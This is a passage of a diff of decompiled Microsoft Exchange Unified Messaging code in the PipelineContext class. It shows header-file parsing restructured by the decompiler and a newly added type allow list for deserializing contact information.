Microsoft.Exchange.UM.UMCommon.PhoneNumber.Parse(array[1]);\n -\t\t\t\t\t\t\t\t\t\t\tcontinue;\n -\t\t\t\t\t\t\t\t\t\t}\n +\t\t\t\t\t\t\t\t\t\tgoto IL_409;\n \t\t\t\t\t\t\t\t\t}\n +\t\t\t\t\t\t\t\t\tif (!(text4 == \"CallerId\"))\n +\t\t\t\t\t\t\t\t\t{\n +\t\t\t\t\t\t\t\t\t\tgoto IL_409;\n +\t\t\t\t\t\t\t\t\t}\n +\t\t\t\t\t\t\t\t\tsubmissionHelper.CallerId = Microsoft.Exchange.UM.UMCommon.PhoneNumber.Parse(array[1]);\n +\t\t\t\t\t\t\t\t\tcontinue;\n \t\t\t\t\t\t\t\t}\n -\t\t\t\t\t\t\t\telse if (text4 == \"SentTime\")\n +\t\t\t\t\t\t\t\telse\n \t\t\t\t\t\t\t\t{\n +\t\t\t\t\t\t\t\t\tif (!(text4 == \"SentTime\"))\n +\t\t\t\t\t\t\t\t\t{\n +\t\t\t\t\t\t\t\t\t\tgoto IL_409;\n +\t\t\t\t\t\t\t\t\t}\n \t\t\t\t\t\t\t\t\tDateTime dateTime = Convert.ToDateTime(array[1], CultureInfo.InvariantCulture);\n \t\t\t\t\t\t\t\t\texDateTime = new ExDateTime(ExTimeZone.CurrentTimeZone, dateTime);\n \t\t\t\t\t\t\t\t\tcontinue;\n \t\t\t\t\t\t\t\t}\n \t\t\t\t\t\t\t}\n \t\t\t\t\t\t\telse if (num2 <= 2593661420U)\n \t\t\t\t\t\t\t{\n \t\t\t\t\t\t\t\tif (num2 <= 1526417836U)\n \t\t\t\t\t\t\t\t{\n \t\t\t\t\t\t\t\t\tif (num2 != 978885386U)\n \t\t\t\t\t\t\t\t\t{\n -\t\t\t\t\t\t\t\t\t\tif (num2 == 1526417836U)\n +\t\t\t\t\t\t\t\t\t\tif (num2 != 1526417836U)\n \t\t\t\t\t\t\t\t\t\t{\n -\t\t\t\t\t\t\t\t\t\t\tif (text4 == \"MessageType\")\n -\t\t\t\t\t\t\t\t\t\t\t{\n -\t\t\t\t\t\t\t\t\t\t\t\ttext = array[1];\n -\t\t\t\t\t\t\t\t\t\t\t\tcontinue;\n -\t\t\t\t\t\t\t\t\t\t\t}\n +\t\t\t\t\t\t\t\t\t\t\tgoto IL_409;\n +\t\t\t\t\t\t\t\t\t\t}\n +\t\t\t\t\t\t\t\t\t\tif (!(text4 == \"MessageType\"))\n +\t\t\t\t\t\t\t\t\t\t{\n +\t\t\t\t\t\t\t\t\t\t\tgoto IL_409;\n \t\t\t\t\t\t\t\t\t\t}\n +\t\t\t\t\t\t\t\t\t\ttext = array[1];\n +\t\t\t\t\t\t\t\t\t\tcontinue;\n \t\t\t\t\t\t\t\t\t}\n -\t\t\t\t\t\t\t\t\telse if (text4 == \"CallerAddress\")\n +\t\t\t\t\t\t\t\t\telse\n \t\t\t\t\t\t\t\t\t{\n +\t\t\t\t\t\t\t\t\t\tif (!(text4 == \"CallerAddress\"))\n +\t\t\t\t\t\t\t\t\t\t{\n +\t\t\t\t\t\t\t\t\t\t\tgoto IL_409;\n +\t\t\t\t\t\t\t\t\t\t}\n \t\t\t\t\t\t\t\t\t\tsubmissionHelper.CallerAddress = array[1];\n \t\t\t\t\t\t\t\t\t\tcontinue;\n \t\t\t\t\t\t\t\t\t}\n \t\t\t\t\t\t\t\t}\n \t\t\t\t\t\t\t\telse if (num2 != 1850847732U)\n \t\t\t\t\t\t\t\t{\n -\t\t\t\t\t\t\t\t\tif (num2 == 2593661420U)\n +\t\t\t\t\t\t\t\t\tif (num2 != 2593661420U)\n \t\t\t\t\t\t\t\t\t{\n -\t\t\t\t\t\t\t\t\t\tif (text4 == \"CallId\")\n -\t\t\t\t\t\t\t\t\t\t{\n -\t\t\t\t\t\t\t\t\t\t\tsubmissionHelper.CallId = array[1];\n -\t\t\t\t\t\t\t\t\t\t\tcontinue;\n -\t\t\t\t\t\t\t\t\t\t}\n +\t\t\t\t\t\t\t\t\t\tgoto IL_409;\n \t\t\t\t\t\t\t\t\t}\n +\t\t\t\t\t\t\t\t\tif (!(text4 == \"CallId\"))\n +\t\t\t\t\t\t\t\t\t{\n +\t\t\t\t\t\t\t\t\t\tgoto IL_409;\n +\t\t\t\t\t\t\t\t\t}\n +\t\t\t\t\t\t\t\t\tsubmissionHelper.CallId = array[1];\n +\t\t\t\t\t\t\t\t\tcontinue;\n \t\t\t\t\t\t\t\t}\n -\t\t\t\t\t\t\t\telse if (text4 == \"CallerIdDisplayName\")\n +\t\t\t\t\t\t\t\telse\n \t\t\t\t\t\t\t\t{\n +\t\t\t\t\t\t\t\t\tif (!(text4 == \"CallerIdDisplayName\"))\n +\t\t\t\t\t\t\t\t\t{\n +\t\t\t\t\t\t\t\t\t\tgoto IL_409;\n +\t\t\t\t\t\t\t\t\t}\n \t\t\t\t\t\t\t\t\tsubmissionHelper.CallerIdDisplayName = array[1];\n \t\t\t\t\t\t\t\t\tcontinue;\n \t\t\t\t\t\t\t\t}\n \t\t\t\t\t\t\t}\n \t\t\t\t\t\t\telse if (num2 <= 3342616108U)\n \t\t\t\t\t\t\t{\n \t\t\t\t\t\t\t\tif (num2 != 2975106116U)\n \t\t\t\t\t\t\t\t{\n -\t\t\t\t\t\t\t\t\tif (num2 == 3342616108U)\n +\t\t\t\t\t\t\t\t\tif (num2 != 3342616108U)\n \t\t\t\t\t\t\t\t\t{\n -\t\t\t\t\t\t\t\t\t\tif (text4 == \"TenantGuid\")\n -\t\t\t\t\t\t\t\t\t\t{\n -\t\t\t\t\t\t\t\t\t\t\tsubmissionHelper.TenantGuid = new Guid(array[1]);\n -\t\t\t\t\t\t\t\t\t\t\tcontinue;\n -\t\t\t\t\t\t\t\t\t\t}\n +\t\t\t\t\t\t\t\t\t\tgoto IL_409;\n \t\t\t\t\t\t\t\t\t}\n +\t\t\t\t\t\t\t\t\tif (!(text4 == \"TenantGuid\"))\n +\t\t\t\t\t\t\t\t\t{\n +\t\t\t\t\t\t\t\t\t\tgoto IL_409;\n +\t\t\t\t\t\t\t\t\t}\n +\t\t\t\t\t\t\t\t\tsubmissionHelper.TenantGuid = new Guid(array[1]);\n +\t\t\t\t\t\t\t\t\tcontinue;\n \t\t\t\t\t\t\t\t}\n -\t\t\t\t\t\t\t\telse if (text4 == \"SenderAddress\")\n +\t\t\t\t\t\t\t\telse\n \t\t\t\t\t\t\t\t{\n +\t\t\t\t\t\t\t\t\tif (!(text4 == \"SenderAddress\"))\n +\t\t\t\t\t\t\t\t\t{\n +\t\t\t\t\t\t\t\t\t\tgoto IL_409;\n +\t\t\t\t\t\t\t\t\t}\n \t\t\t\t\t\t\t\t\tstring text5 = array[1];\n \t\t\t\t\t\t\t\t\tcontinue;\n \t\t\t\t\t\t\t\t}\n \t\t\t\t\t\t\t}\n \t\t\t\t\t\t\telse if (num2 != 3581765001U)\n \t\t\t\t\t\t\t{\n -\t\t\t\t\t\t\t\tif (num2 == 4186841001U)\n +\t\t\t\t\t\t\t\tif (num2 != 4186841001U)\n \t\t\t\t\t\t\t\t{\n -\t\t\t\t\t\t\t\t\tif (text4 == \"CultureInfo\")\n -\t\t\t\t\t\t\t\t\t{\n -\t\t\t\t\t\t\t\t\t\tsubmissionHelper.CultureInfo = array[1];\n -\t\t\t\t\t\t\t\t\t\tcontinue;\n -\t\t\t\t\t\t\t\t\t}\n +\t\t\t\t\t\t\t\t\tgoto IL_409;\n +\t\t\t\t\t\t\t\t}\n +\t\t\t\t\t\t\t\tif (!(text4 == \"CultureInfo\"))\n +\t\t\t\t\t\t\t\t{\n +\t\t\t\t\t\t\t\t\tgoto IL_409;\n \t\t\t\t\t\t\t\t}\n +\t\t\t\t\t\t\t\tsubmissionHelper.CultureInfo = array[1];\n +\t\t\t\t\t\t\t\tcontinue;\n \t\t\t\t\t\t\t}\n -\t\t\t\t\t\t\telse if (text4 == \"MessageID\")\n +\t\t\t\t\t\t\telse if (!(text4 == \"MessageID\"))\n \t\t\t\t\t\t\t{\n -\t\t\t\t\t\t\t\ttext2 = array[1];\n -\t\t\t\t\t\t\t\tcontinue;\n +\t\t\t\t\t\t\t\tgoto IL_409;\n \t\t\t\t\t\t\t}\n +\t\t\t\t\t\t\ttext2 = array[1];\n +\t\t\t\t\t\t\tcontinue;\n +\t\t\t\t\t\t\tIL_409:\n \t\t\t\t\t\t\tsubmissionHelper.CustomHeaders[array[0]] = array[1];\n \t\t\t\t\t\t}\n \t\t\t\t\t}\n \t\t\t\t}\n \t\t\t\tnum2 = <PrivateImplementationDetails>.ComputeStringHash(text);\n \t\t\t\tif (num2 <= 894870128U)\n \t\t\t\t{\n \t\t\t\t\tif (num2 <= 360985808U)\n \t\t\t\t\t{\n \t\t\t\t\t\tif (num2 != 356120169U)\n \t\t\t\t\t\t{\n \t\t\t\t\t\t\tif (num2 == 360985808U)\n \t\t\t\t\t\t\t{\n \t\t\t\t\t\t\t\tif (text == \"Fax\")\n \t\t\t\t\t\t\t\t{\n \t\t\t\t\t\t\t\t\tpipelineContext = new FaxPipelineContext(submissionHelper);\n -\t\t\t\t\t\t\t\t\tgoto IL_62E;\n +\t\t\t\t\t\t\t\t\tgoto IL_694;\n \t\t\t\t\t\t\t\t}\n \t\t\t\t\t\t\t}\n \t\t\t\t\t\t}\n \t\t\t\t\t\telse if (text == \"IncomingCallLog\")\n \t\t\t\t\t\t{\n \t\t\t\t\t\t\tpipelineContext = new IncomingCallLogPipelineContext(submissionHelper);\n -\t\t\t\t\t\t\tgoto IL_62E;\n +\t\t\t\t\t\t\tgoto IL_694;\n \t\t\t\t\t\t}\n \t\t\t\t\t}\n \t\t\t\t\telse if (num2 != 438908515U)\n \t\t\t\t\t{\n \t\t\t\t\t\tif (num2 != 466919760U)\n \t\t\t\t\t\t{\n \t\t\t\t\t\t\tif (num2 == 894870128U)\n \t\t\t\t\t\t\t{\n \t\t\t\t\t\t\t\tif (text == \"CDR\")\n \t\t\t\t\t\t\t\t{\n \t\t\t\t\t\t\t\t\tpipelineContext = CDRPipelineContext.Deserialize((string)submissionHelper.CustomHeaders[\"CDRData\"]);\n -\t\t\t\t\t\t\t\t\tgoto IL_62E;\n +\t\t\t\t\t\t\t\t\tgoto IL_694;\n \t\t\t\t\t\t\t\t}\n \t\t\t\t\t\t\t}\n \t\t\t\t\t\t}\n \t\t\t\t\t\telse if (text == \"MissedCall\")\n \t\t\t\t\t\t{\n \t\t\t\t\t\t\tpipelineContext = new MissedCallPipelineContext(submissionHelper);\n -\t\t\t\t\t\t\tgoto IL_62E;\n +\t\t\t\t\t\t\tgoto IL_694;\n \t\t\t\t\t\t}\n \t\t\t\t\t}\n \t\t\t\t\telse if (text == \"OCSNotification\")\n \t\t\t\t\t{\n \t\t\t\t\t\tpipelineContext = OCSPipelineContext.Deserialize((string)submissionHelper.CustomHeaders[\"OCSNotificationData\"]);\n \t\t\t\t\t\ttext2 = pipelineContext.messageID;\n \t\t\t\t\t\texDateTime = pipelineContext.sentTime;\n -\t\t\t\t\t\tgoto IL_62E;\n +\t\t\t\t\t\tgoto IL_694;\n \t\t\t\t\t}\n \t\t\t\t}\n \t\t\t\telse if (num2 <= 1086454342U)\n \t\t\t\t{\n \t\t\t\t\tif (num2 != 995233564U)\n \t\t\t\t\t{\n \t\t\t\t\t\tif (num2 == 1086454342U)\n \t\t\t\t\t\t{\n \t\t\t\t\t\t\tif (text == \"XSOVoiceMail\")\n \t\t\t\t\t\t\t{\n \t\t\t\t\t\t\t\tpipelineContext = new XSOVoiceMessagePipelineContext(submissionHelper);\n -\t\t\t\t\t\t\t\tgoto IL_62E;\n +\t\t\t\t\t\t\t\tgoto IL_694;\n \t\t\t\t\t\t\t}\n \t\t\t\t\t\t}\n \t\t\t\t\t}\n \t\t\t\t\telse if (text == \"PartnerTranscriptionRequest\")\n \t\t\t\t\t{\n \t\t\t\t\t\tpipelineContext = new PartnerTranscriptionRequestPipelineContext(submissionHelper);\n -\t\t\t\t\t\tgoto IL_62E;\n +\t\t\t\t\t\tgoto IL_694;\n \t\t\t\t\t}\n \t\t\t\t}\n \t\t\t\telse if (num2 != 1356218075U)\n \t\t\t\t{\n \t\t\t\t\tif (num2 != 2525024257U)\n \t\t\t\t\t{\n \t\t\t\t\t\tif (num2 == 3974407582U)\n \t\t\t\t\t\t{\n \t\t\t\t\t\t\tif (text == \"SMTPVoiceMail\")\n \t\t\t\t\t\t\t{\n \t\t\t\t\t\t\t\tif (num < PipelineWorkItem.ProcessedCountMax - 1)\n \t\t\t\t\t\t\t\t{\n \t\t\t\t\t\t\t\t\tpipelineContext = new VoiceMessagePipelineContext(submissionHelper);\n -\t\t\t\t\t\t\t\t\tgoto IL_62E;\n +\t\t\t\t\t\t\t\t\tgoto IL_694;\n \t\t\t\t\t\t\t\t}\n \t\t\t\t\t\t\t\tpipelineContext = new MissedCallPipelineContext(submissionHelper);\n -\t\t\t\t\t\t\t\tgoto IL_62E;\n +\t\t\t\t\t\t\t\tgoto IL_694;\n \t\t\t\t\t\t\t}\n \t\t\t\t\t\t}\n \t\t\t\t\t}\n \t\t\t\t\telse if (text == \"HealthCheck\")\n \t\t\t\t\t{\n \t\t\t\t\t\tpipelineContext = new HealthCheckPipelineContext(Path.GetFileNameWithoutExtension(headerFile));\n -\t\t\t\t\t\tgoto IL_62E;\n +\t\t\t\t\t\tgoto IL_694;\n \t\t\t\t\t}\n \t\t\t\t}\n \t\t\t\telse if (text == \"OutgoingCallLog\")\n \t\t\t\t{\n \t\t\t\t\tpipelineContext = new OutgoingCallLogPipelineContext(submissionHelper);\n -\t\t\t\t\tgoto IL_62E;\n +\t\t\t\t\tgoto IL_694;\n \t\t\t\t}\n \t\t\t\tthrow new HeaderFileArgumentInvalidException(string.Format(CultureInfo.InvariantCulture, \"{0}: {1}\", \"MessageType\", text));\n -\t\t\t\tIL_62E:\n +\t\t\t\tIL_694:\n \t\t\t\tif (text2 == null)\n \t\t\t\t{\n \t\t\t\t\ttext2 = Guid.NewGuid().ToString();\n \t\t\t\t\texDateTime = ExDateTime.Now;\n \t\t\t\t}\n \t\t\t\tpipelineContext.HeaderFileName = headerFile;\n \t\t\t\tpipelineContext.processedCount = num;\n \t\t\t\tif (contactInfo != null)\n \t\t\t\t{\n \t\t\t\t\tIUMResolveCaller iumresolveCaller = pipelineContext as IUMResolveCaller;\n \t\t\t\t\tif (iumresolveCaller != null)\n \t\t\t\t\t{\n \t\t\t\t\t\tiumresolveCaller.ContactInfo = contactInfo;\n \t\t\t\t\t}\n \t\t\t\t}\n \t\t\t\tpipelineContext.sentTime = exDateTime;\n \t\t\t\tpipelineContext.messageID = text2;\n \t\t\t\tpipelineContext.WriteHeaderFile(headerFile);\n \t\t\t\tresult = pipelineContext;\n \t\t\t}\n -\t\t\tcatch (IOException ex)\n +\t\t\tcatch (IOException ex2)\n \t\t\t{\n \t\t\t\tCallIdTracer.TraceDebug(ExTraceGlobals.VoiceMailTracer, 0, \"Failed to parse the header file {0} because its not closed by thread creating the file. Error={1}\", new object[]\n \t\t\t\t{\n \t\t\t\t\theaderFile,\n -\t\t\t\t\tex\n +\t\t\t\t\tex2\n \t\t\t\t});\n \t\t\t\tif (pipelineContext != null)\n \t\t\t\t{\n \t\t\t\t\tpipelineContext.Dispose();\n \t\t\t\t\tpipelineContext = null;\n \t\t\t\t}\n \t\t\t\tresult = null;\n \t\t\t}\n -\t\t\tcatch (InvalidObjectGuidException ex2)\n +\t\t\tcatch (InvalidObjectGuidException ex3)\n \t\t\t{\n \t\t\t\tCallIdTracer.TraceWarning(ExTraceGlobals.VoiceMailTracer, 0, \"Couldn't find the recipient for this message. Error={0}\", new object[]\n \t\t\t\t{\n -\t\t\t\t\tex2\n +\t\t\t\t\tex3\n \t\t\t\t});\n \t\t\t\tif (pipelineContext != null)\n \t\t\t\t{\n \t\t\t\t\tpipelineContext.Dispose();\n \t\t\t\t\tpipelineContext = null;\n \t\t\t\t}\n \t\t\t\tthrow;\n \t\t\t}\n -\t\t\tcatch (InvalidTenantGuidException ex3)\n +\t\t\tcatch (InvalidTenantGuidException ex4)\n \t\t\t{\n \t\t\t\tCallIdTracer.TraceWarning(ExTraceGlobals.VoiceMailTracer, 0, \"Couldn't find the tenant for this message. Error={0}\", new object[]\n \t\t\t\t{\n -\t\t\t\t\tex3\n +\t\t\t\t\tex4\n \t\t\t\t});\n \t\t\t\tif (pipelineContext != null)\n \t\t\t\t{\n \t\t\t\t\tpipelineContext.Dispose();\n \t\t\t\t\tpipelineContext = null;\n \t\t\t\t}\n \t\t\t\tthrow;\n \t\t\t}\n -\t\t\tcatch (NonUniqueRecipientException ex4)\n +\t\t\tcatch (NonUniqueRecipientException ex5)\n \t\t\t{\n \t\t\t\tCallIdTracer.TraceWarning(ExTraceGlobals.VoiceMailTracer, 0, \"Multiple objects found for the recipient. Error={0}\", new object[]\n \t\t\t\t{\n -\t\t\t\t\tex4\n +\t\t\t\t\tex5\n \t\t\t\t});\n \t\t\t\tif (pipelineContext != null)\n \t\t\t\t{\n \t\t\t\t\tpipelineContext.Dispose();\n \t\t\t\t\tpipelineContext = null;\n \t\t\t\t}\n \t\t\t\tthrow;\n \t\t\t}\n \t\t\treturn result;\n \t\t}\n \n \t\tinternal abstract void WriteCustomHeaderFields(StreamWriter headerStream);\n \n \t\tpublic abstract string GetMailboxServerId();\n \n \t\tpublic abstract string GetRecipientIdForThrottling();\n \n \t\tinternal virtual void SaveMessage()\n \t\t{\n \t\t\tthis.WriteHeaderFile(this.HeaderFileName);\n \t\t}\n \n \t\tprotected override void InternalDispose(bool disposing)\n \t\t{\n \t\t\tif (disposing)\n \t\t\t{\n \t\t\t\tCallIdTracer.TraceDebug(ExTraceGlobals.VoiceMailTracer, this.GetHashCode(), \"PipelineContext.Dispose() called\", Array.Empty<object>());\n \t\t\t}\n \t\t}\n \n \t\tprotected override DisposeTracker InternalGetDisposeTracker()\n \t\t{\n \t\t\treturn DisposeTracker.Get<PipelineContext>(this);\n \t\t}\n \n \t\tprotected virtual void SetMessageProperties()\n \t\t{\n \t\t\tIUMResolveCaller iumresolveCaller = this as IUMResolveCaller;\n \t\t\tif (iumresolveCaller != null)\n \t\t\t{\n \t\t\t\tExAssert.RetailAssert(iumresolveCaller.ContactInfo != null, \"ResolveCallerStage should always set the ContactInfo.\");\n \t\t\t\tUMSubscriber umsubscriber = ((IUMCAMessage)this).CAMessageRecipient as UMSubscriber;\n \t\t\t\tUMDialPlan dialPlan = (umsubscriber != null) ? umsubscriber.DialPlan : null;\n \t\t\t\tMicrosoft.Exchange.UM.UMCommon.PhoneNumber pstnCallbackTelephoneNumber = this.CallerId.GetPstnCallbackTelephoneNumber(iumresolveCaller.ContactInfo, dialPlan);\n \t\t\t\tthis.messageToSubmit.From = iumresolveCaller.ContactInfo.CreateParticipant(pstnCallbackTelephoneNumber, this.CultureInfo);\n \t\t\t\tXsoUtil.SetVoiceMessageSenderProperties(this.messageToSubmit, iumresolveCaller.ContactInfo, dialPlan, this.CallerId);\n \t\t\t\tthis.messageToSubmit.InternetMessageId = BoomerangHelper.FormatInternetMessageId(this.MessageID, Utils.GetHostFqdn());\n \t\t\t\tthis.messageToSubmit[ItemSchema.SentTime] = this.SentTime;\n \t\t\t}\n \t\t\tthis.messageToSubmit.AutoResponseSuppress = AutoResponseSuppress.All;\n \t\t\tthis.messageToSubmit[MessageItemSchema.CallId] = this.helper.CallId;\n \t\t\tIUMCAMessage iumcamessage = this as IUMCAMessage;\n \t\t\tif (iumcamessage != null)\n \t\t\t{\n \t\t\t\tthis.MessageToSubmit.Recipients.Add(new Participant(iumcamessage.CAMessageRecipient.ADRecipient));\n \t\t\t\tIADSystemConfigurationLookup iadsystemConfigurationLookup = ADSystemConfigurationLookupFactory.CreateFromOrganizationId(iumcamessage.CAMessageRecipient.ADRecipient.OrganizationId);\n \t\t\t\tthis.MessageToSubmit.Sender = new Participant(iadsystemConfigurationLookup.GetMicrosoftExchangeRecipient());\n \t\t\t}\n \t\t}\n \n \t\tprotected void WriteHeaderFile(string headerFileName)\n \t\t{\n \t\t\tusing (FileStream fileStream = File.Open(headerFileName, FileMode.Create, FileAccess.Write, FileShare.None))\n \t\t\t{\n \t\t\t\tusing (StreamWriter streamWriter = new StreamWriter(fileStream))\n \t\t\t\t{\n \t\t\t\t\tif (this.MessageType != null)\n \t\t\t\t\t{\n \t\t\t\t\t\tstreamWriter.WriteLine(\"MessageType : \" + this.MessageType);\n \t\t\t\t\t}\n \t\t\t\t\tstreamWriter.WriteLine(\"ProcessedCount : \" + this.processedCount.ToString(CultureInfo.InvariantCulture));\n \t\t\t\t\tif (this.messageID != null)\n \t\t\t\t\t{\n \t\t\t\t\t\tstreamWriter.WriteLine(\"MessageID : \" + this.messageID);\n \t\t\t\t\t}\n \t\t\t\t\tif (this.sentTime.Year != 1)\n \t\t\t\t\t{\n \t\t\t\t\t\tstreamWriter.WriteLine(\"SentTime : \" + this.sentTime.ToString(CultureInfo.InvariantCulture));\n \t\t\t\t\t}\n \t\t\t\t\tthis.WriteCommonHeaderFields(streamWriter);\n \t\t\t\t\tthis.WriteCustomHeaderFields(streamWriter);\n \t\t\t\t}\n \t\t\t}\n \t\t}\n \n \t\tprotected virtual void WriteCommonHeaderFields(StreamWriter headerStream)\n \t\t{\n \t\t\tif (!this.CallerId.IsEmpty)\n \t\t\t{\n \t\t\t\theaderStream.WriteLine(\"CallerId : \" + this.CallerId.ToDial);\n \t\t\t}\n \t\t\tif (this.helper.RecipientName != null)\n \t\t\t{\n \t\t\t\theaderStream.WriteLine(\"RecipientName : \" + this.helper.RecipientName);\n \t\t\t}\n \t\t\tif (this.helper.RecipientObjectGuid != Guid.Empty)\n \t\t\t{\n \t\t\t\theaderStream.WriteLine(\"RecipientObjectGuid : \" + this.helper.RecipientObjectGuid.ToString());\n \t\t\t}\n \t\t\tif (this.helper.CallerName != null)\n \t\t\t{\n \t\t\t\theaderStream.WriteLine(\"CallerNAme : \" + this.helper.CallerName);\n \t\t\t}\n \t\t\tif (!string.IsNullOrEmpty(this.helper.CallerIdDisplayName))\n \t\t\t{\n \t\t\t\theaderStream.WriteLine(\"CallerIdDisplayName : \" + this.helper.CallerIdDisplayName);\n \t\t\t}\n \t\t\tif (this.CallerAddress != null)\n \t\t\t{\n \t\t\t\theaderStream.WriteLine(\"CallerAddress : \" + this.CallerAddress);\n \t\t\t}\n \t\t\tif (this.helper.CultureInfo != null)\n \t\t\t{\n \t\t\t\theaderStream.WriteLine(\"CultureInfo : \" + this.helper.CultureInfo);\n \t\t\t}\n \t\t\tif (this.helper.CallId != null)\n \t\t\t{\n \t\t\t\theaderStream.WriteLine(\"CallId : \" + this.helper.CallId);\n \t\t\t}\n \t\t\tIUMResolveCaller iumresolveCaller = this as IUMResolveCaller;\n \t\t\tif (iumresolveCaller != null && iumresolveCaller.ContactInfo != null)\n \t\t\t{\n \t\t\t\theaderStream.WriteLine(\"ContactInfo : \" + CommonUtil.Base64Serialize(iumresolveCaller.ContactInfo));\n \t\t\t}\n \t\t\theaderStream.WriteLine(\"TenantGuid : \" + this.helper.TenantGuid.ToString());\n \t\t}\n \n \t\tprotected UMRecipient CreateRecipientFromObjectGuid(Guid objectGuid, Guid tenantGuid)\n \t\t{\n \t\t\treturn UMRecipient.Factory.FromADRecipient<UMRecipient>(this.CreateADRecipientFromObjectGuid(objectGuid, tenantGuid));\n \t\t}\n \n \t\tprotected ADRecipient CreateADRecipientFromObjectGuid(Guid objectGuid, Guid tenantGuid)\n \t\t{\n \t\t\tif (objectGuid == Guid.Empty)\n \t\t\t{\n \t\t\t\tthrow new HeaderFileArgumentInvalidException(\"ObjectGuid is empty\");\n \t\t\t}\n \t\t\tADRecipient adrecipient = ADRecipientLookupFactory.CreateFromTenantGuid(tenantGuid).LookupByObjectId(new ADObjectId(objectGuid));\n \t\t\tif (adrecipient == null)\n \t\t\t{\n \t\t\t\tCallIdTracer.TraceDebug(ExTraceGlobals.VoiceMailTracer, 0, \"Could not find recipient {0}\", new object[]\n \t\t\t\t{\n \t\t\t\t\tobjectGuid.ToString()\n \t\t\t\t});\n \t\t\t\tthrow new InvalidObjectGuidException(objectGuid.ToString());\n \t\t\t}\n \t\t\treturn adrecipient;\n \t\t}\n \n \t\tprotected UMDialPlan InitializeCallerIdAndTryGetDialPlan(UMRecipient recipient)\n \t\t{\n \t\t\tUMDialPlan umdialPlan = null;\n \t\t\tif (this.CallerId.UriType == UMUriType.E164 && recipient.ADRecipient.UMRecipientDialPlanId != null)\n \t\t\t{\n \t\t\t\tumdialPlan = ADSystemConfigurationLookupFactory.CreateFromADRecipient(recipient.ADRecipient).GetDialPlanFromId(recipient.ADRecipient.UMRecipientDialPlanId);\n \t\t\t\tif (umdialPlan != null && umdialPlan.CountryOrRegionCode != null)\n \t\t\t\t{\n \t\t\t\t\tthis.helper.CallerId = this.helper.CallerId.Clone(umdialPlan);\n \t\t\t\t}\n \t\t\t}\n \t\t\treturn umdialPlan;\n \t\t}\n \n \t\tprotected string GetMailboxServerIdHelper()\n \t\t{\n \t\t\tIUMCAMessage iumcamessage = this as IUMCAMessage;\n \t\t\tif (iumcamessage != null)\n \t\t\t{\n \t\t\t\tUMMailboxRecipient ummailboxRecipient = iumcamessage.CAMessageRecipient as UMMailboxRecipient;\n \t\t\t\tif (ummailboxRecipient != null)\n \t\t\t\t{\n \t\t\t\t\treturn ummailboxRecipient.ADUser.ServerLegacyDN;\n \t\t\t\t}\n \t\t\t}\n \t\t\treturn \"af360a7e-e6d4-494a-ac69-6ae14896d16b\";\n \t\t}\n \n \t\tprotected string GetRecipientIdHelper()\n \t\t{\n \t\t\tIUMCAMessage iumcamessage = this as IUMCAMessage;\n \t\t\tif (iumcamessage != null)\n \t\t\t{\n \t\t\t\tUMMailboxRecipient ummailboxRecipient = iumcamessage.CAMessageRecipient as UMMailboxRecipient;\n \t\t\t\tif (ummailboxRecipient != null)\n \t\t\t\t{\n \t\t\t\t\treturn ummailboxRecipient.ADUser.DistinguishedName;\n \t\t\t\t}\n \t\t\t}\n \t\t\treturn \"455e5330-ce1f-48d1-b6b1-2e318d2ff2c4\";\n \t\t}\n \n \t\tprivate MessageItem messageToSubmit;\n \n \t\tprivate SubmissionHelper helper;\n \n \t\tprivate string messageType;\n \n \t\tprivate CultureInfo cultureInfo;\n \n \t\tprivate string headerFileName;\n \n \t\tprivate int processedCount;\n \n \t\tprivate string messageID;\n \n \t\tprivate ExDateTime sentTime;\n +\n +\t\tprivate static Type[] contactInfoDeserializationAllowList = new Type[]\n +\t\t{\n +\t\t\ttypeof(Version),\n +\t\t\ttypeof(Guid),\n +\t\t\ttypeof(PropTag),\n +\t\t\ttypeof(ContactInfo),\n +\t\t\ttypeof(ADContactInfo),\n +\t\t\ttypeof(FoundByType),\n +\t\t\ttypeof(ADUser),\n +\t\t\ttypeof(ADPropertyBag),\n +\t\t\ttypeof(ValidationError),\n +\t\t\ttypeof(ADPropertyDefinition),\n +\t\t\ttypeof(ADObjectId),\n +\t\t\ttypeof(ExchangeObjectVersion),\n +\t\t\ttypeof(ExchangeBuild),\n +\t\t\ttypeof(MultiValuedProperty<string>),\n +\t\t\ttypeof(LocalizedString),\n +\t\t\ttypeof(ProxyAddressCollection),\n +\t\t\ttypeof(SmtpAddress),\n +\t\t\ttypeof(RecipientDisplayType),\n +\t\t\ttypeof(RecipientTypeDetails),\n +\t\t\ttypeof(ElcMailboxFlags),\n +\t\t\ttypeof(UserAccountControlFlags),\n +\t\t\ttypeof(ObjectState),\n +\t\t\ttypeof(DirectoryBackendType),\n +\t\t\ttypeof(MServPropertyDefinition),\n +\t\t\ttypeof(MbxPropertyDefinition),\n +\t\t\ttypeof(MbxPropertyDefinitionFlags),\n +\t\t\ttypeof(OrganizationId),\n +\t\t\ttypeof(PartitionId),\n +\t\t\ttypeof(SmtpProxyAddress),\n +\t\t\ttypeof(SmtpProxyAddressPrefix),\n +\t\t\ttypeof(ByteQuantifiedSize),\n +\t\t\ttypeof(Unlimited<ByteQuantifiedSize>),\n +\t\t\ttypeof(List<ValidationError>),\n +\t\t\ttypeof(ADMultiValuedProperty<TextMessagingStateBase>),\n +\t\t\ttypeof(ADMultiValuedProperty<ADObjectId>),\n +\t\t\ttypeof(StoreObjectId),\n +\t\t\ttypeof(StoreObjectType),\n +\t\t\ttypeof(EntryIdProvider),\n +\t\t\ttypeof(SimpleContactInfoBase),\n +\t\t\ttypeof(MultipleResolvedContactInfo),\n +\t\t\ttypeof(CallerNameDisplayContactInfo),\n +\t\t\ttypeof(PersonalContactInfo),\n +\t\t\ttypeof(DefaultContactInfo),\n +\t\t\ttypeof(UMDialPlan),\n +\t\t\ttypeof(UMEnabledFlags),\n +\t\t\tType.GetType(\"Microsoft.Exchange.Data.ByteQuantifiedSize+QuantifierProvider, Microsoft.Exchange.Data\"),\n +\t\t\tType.GetType(\"System.UnitySerializationHolder, mscorlib\"),\n +\t\t\tType.GetType(\"Microsoft.Exchange.Data.ByteQuantifiedSize+Quantifier,Microsoft.Exchange.Data\"),\n +\t\t\tType.GetType(\"Microsoft.Exchange.Data.PropertyBag+ValuePair, Microsoft.Exchange.Data\"),\n +\t\t\tType.GetType(\"System.Collections.Generic.List`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]\"),\n +\t\t\ttypeof(DialByNamePrimaryEnum),\n +\t\t\ttypeof(DialByNameSecondaryEnum),\n +\t\t\ttypeof(AudioCodecEnum),\n +\t\t\ttypeof(UMUriType),\n +\t\t\ttypeof(UMSubscriberType),\n +\t\t\ttypeof(UMGlobalCallRoutingScheme),\n 